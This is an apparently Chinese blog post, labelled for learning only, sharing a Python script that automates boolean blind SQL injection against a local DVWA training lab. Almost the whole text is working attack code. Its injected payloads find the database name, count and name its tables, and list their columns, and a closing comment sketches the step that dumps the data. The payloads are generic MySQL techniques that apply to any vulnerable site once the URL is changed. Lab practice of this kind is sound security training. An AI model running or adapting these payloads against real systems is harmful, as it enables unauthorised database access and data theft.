python dvwa布尔盲注自动化脚本（level=low）

 仅供学习代码参考
 1#python dvwa布尔盲注自动化脚本
 2 import requests
 3 import string
 4 import time
 5 INIT_URL="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/index.php?id="
 6 token={"security":"low","PHPSESSID":"p7g937ga5glcvg8m5hv9o9a2ht"} #登录身份识别
 7 COLUMN_NUM=11
 8 COLUMN_LEN=15
 9 dbLen=0
10 dbname=''
11 table_num=0
12 table=[]
13 table_name='' #暂存用
14 column=[]
15 column_name=''#暂存用
16 rightLen=0
17
18 time_start=time.time()
19 url=INIT_URL+"1&Submit=Submit#"
20 rightLen=len(requests.get(url=url,cookies=token).text)
21 print("正常返回文本长度："+str(rightLen))
22 #1.猜解数据库名长度 poc：" 1'and (select length(database()))="+str(dbLen)#"
23 while True:
24     dbLen +=1
25     dbUrl=INIT_URL+"1'and (select length(database()))="+str(dbLen)+"%23&Submit=Submit#"
26     print(dbUrl)
27     if len(requests.get(url=dbUrl,cookies=token).text)==rightLen:
28         print("数据库长度:"+str(dbLen))
29         break
30 #2.猜解数据库名字 poc:" 1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1#"
31 for i in range(1,dbLen+1):
32     for j in string.ascii_lowercase:
33           dbnameUrl=INIT_URL+"1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1%23&Submit=Submit#"
34           print(dbnameUrl)
35           if len(requests.get(url=dbnameUrl,cookies=token).text)==rightLen:
36               dbname+=j
37               break
38
39 print("数据库名字："+dbname)
40
41 #3.猜解数据库表数量 poc：" 1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)#"
42
43 for i in range(100):
44     dbUrl=INIT_URL+"1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)+"%23&Submit=Submit#"
45     print(dbUrl)
46     if len(requests.get(dbUrl,cookies=token).text)==rightLen:
47         print("表数量"+str(i))
48         table_num=i
49         break
50
51 #4.猜解表名 poc:" 1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)))=103#
52
53 for i in range(table_num):
54     for k in range(COLUMN_LEN):
55         for j in range(48,123):
56             dbUrl=INIT_URL+"1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='"+dbname+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
57             print(dbUrl)
58             if len(requests.get(dbUrl,cookies=token).text)==rightLen:
59                 table_name+=chr(j)
60                 print(table_name)
61                 break
62     table.append(table_name)
63     table_name=''
64 print("表名："+str(table))
65
66
67
68 #5.猜解列名 poc :" 1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1)))=i
69
70
71 for m in range(table_num):
72     for i in range(COLUMN_NUM):
73         for k in range(COLUMN_LEN):
74             for j in range(48,123):
75                 dbUrl=INIT_URL+"1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='"+dbname+"'and table_name='"+table[m]+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#"
76                 print(dbUrl)
77                 if len(requests.get(dbUrl,cookies=token).text)==rightLen:
78                     column_name+=chr(j)
79                     print(column_name)
80                     break
81         column_name+='/'
82     column.append(column_name)
83     column_name=''
84 print("列名："+str(column))
85
86 time_end=time.time()
87 print('用时：',time_end-time_start,'s')
88 print("正常返回文本长度："+str(rightLen))
89 print("数据库长度:"+str(dbLen))
90 print("数据库名字："+dbname)
91 print("表数量"+str(i))
92 print("表名："+str(table))
93 print("列名："+str(column))
94 #6.拖库 poc: 1'and (select ascii(substr((select column[i] from dbname.table[j] limit 0,1),1,1)))=i
95 #具体列具体猜解，全部猜解时间太高